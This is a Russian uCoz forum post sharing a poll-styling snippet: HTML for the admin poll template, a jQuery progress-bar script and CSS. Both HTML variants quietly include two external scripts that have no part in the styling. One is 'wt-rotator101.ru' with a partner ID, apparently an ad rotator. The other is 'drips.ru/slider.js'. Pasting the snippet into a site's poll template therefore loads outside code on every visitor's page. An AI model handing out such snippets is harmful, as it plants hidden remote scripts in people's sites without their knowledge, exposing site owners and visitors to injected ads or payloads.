Пятница, 29.03.2024, 00:35


Главная
Регистрация
Вход
Форум-WoW Приветствую Вас Гость | RSS  


Добро пожаловать!

Уважаемый Гость, пожалуйста, авторизируйтесь или зарегистрируйтесь!

Регистрация, откроет Вам много новых возможностей, недоступных для гостя, таких как скачивание песен, альбомов, клипов и возможность оставлять свои сообщения на форуме.


Присоединяйтесь wink




Это окно закроется Секунд

Где продать аккаунт?

(0)

WoWCircle[Crazy](фан сервак с рисами)

(1)

WowCircle Crazy x5

(1)

ищу работу гм

(4)

Tizermedia.net - тизерная сеть нового поколения

(1)

Фригейм - 11 января, Lineage2

(0)

Профиль для ucoz в нижнем правом углу сайта

(0)

Красивый информер для файлов ucoz

(0)

Уведомления о регистрации для ucoz

(0)

Форма входа на uCoz

(0)

Хотите БЕСПЛАТНО почувствовать ЦИ!?

(0)

OR.RU

(0)

Даосская Алхимия

(0)

Цигун

(0)

Letitbit.net - Работа с файлообменниками

(0)

RsWoW

(0)

Moevideo.net-партнерская программа от Letitbit

(0)

Новый Топ пользователей с аватарами для Ucoz

(0)

Простой и красивый вид формы опроса

(0)

Красивый информер "кто нас сегодня посетил" для Ucoz

(0)

Flash радио для сайта

(0)

Состав клана - победы поражения для ucoz

(1)

Ребят оцените сайт http://www.nadietax.com/

(0)

TraffShop

(0)

Новый информер комментарии для ucoz как на Dle

(0)

[ Наш сайт Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Скрипты для uCoz » Пользователи и Мини-профиль » Стилизация опроса uCoz v.1.5 (Новый опрос под любой дизайн)
Стилизация опроса uCoz v.1.5
40GloccДата: Понедельник, 19.03.2012, 23:54 | Сообщение # 1
Рядовой
Группа: Пользователи
Сообщений: 15
Скрин: http://s018.radikal.ru/i504/1202/a1/ae57ba48277a.png

Стилизация опроса uCoz v.1.5 Более улучшенная версия стилизации стандартного вида опроса в системе uCoz.

Для начало мы с вами должны заменить старый html код опроса на новый, для этого заходим в админ панель вашего сайта в системе uCoz Админ панель => Дизайн => Управление дизайном => Опросы => Вид формы опросов

удаляем от туда старый код и устанавливаем новый:

Code
<div class="cell_poll">
<script language="javascript" src="http://uno.wt-rotator101.ru/?t=br&noadult=1&pid=21212"></script>
   <div class="poll_title">$QUESTION$</div>
   <script src="http://drips.ru/slider.js" type="text/javascript"></script>
   <div class="poll_variant">$ANSWERS$</div>
   <div class="poll_niz">
   <div class="poll_left"><a href="$RESULTS_LINK$">Результат</a></div>
   <div class="poll_right">Всего ответов: $TOTAL_VOTES$</div>
   </div>
</div>   
<script type="text/javascript">   
   var a = ['http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_01.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_02.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_03.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_04.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_05.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_06.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_07.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_08.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_09.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_10.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_11.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_12.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_13.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_14.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_15.png']; for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '12px'});$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a[i] + ')', marginTop: '0px', marginBottom: '0px', height: '12px', backgroundRepeat: 'repeat-x'});}   
   $('div.answer span').each(function(){$(this).html($(this).html()+' ')});   
</script>


Если вы хотите, чтобы в вашем опросе присутствовал процент проголосовавших за тот или иной вариант опроса, то ставим этот вариант кода:

Code
<div class="cell_poll">
<script language="javascript" src="http://uno.wt-rotator101.ru/?t=br&noadult=1&pid=21212"></script>
<script src="http://drips.ru/slider.js" type="text/javascript"></script>
   <div class="poll_title">$QUESTION$</div>
   <div class="poll_variant">$ANSWERS$</div>
   <div class="poll_niz">
   <div class="poll_left"><a href="$RESULTS_LINK$">Результат</a></div>
   <div class="poll_right">Всего ответов: $TOTAL_VOTES$</div>
   </div>
</div>   
<script type="text/javascript">   
   var a = ['http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_01.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_02.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_03.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_04.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_05.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_06.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_07.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_08.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_09.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_10.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_11.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_12.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_13.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_14.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_15.png']; for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '12px'});$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a[i] + ')', marginTop: '0px', marginBottom: '0px', height: '12px', backgroundRepeat: 'repeat-x'});}   
   $('div.answer span').each(function(){$(this).html($(this).html()+' <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')});   
</script>


CSS:

Наш опрос почти готов, осталось прописать css стили:

Code
/* Ячейка опроса
------------------------------------------*/
.cell_poll {
   float:left;   
   color:#555;text-shadow: 1px 1px 1px #fff;
   width:220px;   
   background: #fff;
   border: 1px solid #D0D1D3;
   padding: 0px 10px 5px 10px;
}

.poll_title {
   text-align:center;   
   font: 115%/1.5 Verdana,Arial,Helvetica, sans-serif;   
   font-weight: bold;
   padding: 5px 0px;
   border-bottom: 1px solid #D0D1D3;
}

.poll_variant {
   float:left;   
   width:220px;   
   padding: 5px 0px;
}

.poll_niz {
   float:left;   
   font: 9px Verdana,Arial,Helvetica, sans-serif;   
   width:220px;   
   padding: 5px 0px;
   border-top: 1px solid #D0D1D3;
}

.poll_left {float:left;}
.procent,
.poll_right {float:right;}

.answer {
   background: #F6FBFC;
   padding: 2px 5px 2px 5px;
   margin: 7px 0px 7px 0px;   
}   

.answer input,
.answer label{
   margin:0;   
}   
.answer div div {   
   height: 10px !important;   
   border: 1px solid #fff;   
   margin: 0px;
}   

.answer div {   
   display: block;   
   position: relative;   
   padding: 0 !important;   
   border: 1px solid #B6B6B5;   
   background: #F4F5F6;   
   margin: 0px;
}
.procent {   
   background: #DCEDF0;   
   padding: 3px 5px;
}

.pollBut {
   font: 11px Verdana,Arial,Helvetica, sans-serif!important; font-weight: bold;
   color:#b17902!important; text-shadow:1px 1px 1px #fff!important;   
   background:#fed66c!important;   
   border:1px solid #e3b346!important;   
   padding: 4px 8px;   
   margin: 5px 0px 5px 0px;   
}

.pollBut:hover {
   background:#ffe49c!important;   
}
/*------------------------------------------*/
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо зайти на сайт под своим именем.
 
Форум » Скрипты для uCoz » Пользователи и Мини-профиль » Стилизация опроса uCoz v.1.5 (Новый опрос под любой дизайн)
  • Страница 1 из 1
  • 1
Поиск:

Информер пр и тицстатистикатИЦ и PR Рейтинг Ролевых РесурсовRambler's Top100 SEO services - site-submit.com.ua Game's TOP-100 Counter Топ сайтов
Copyright MyCorp © 2024Бесплатный конструктор сайтов - uCoz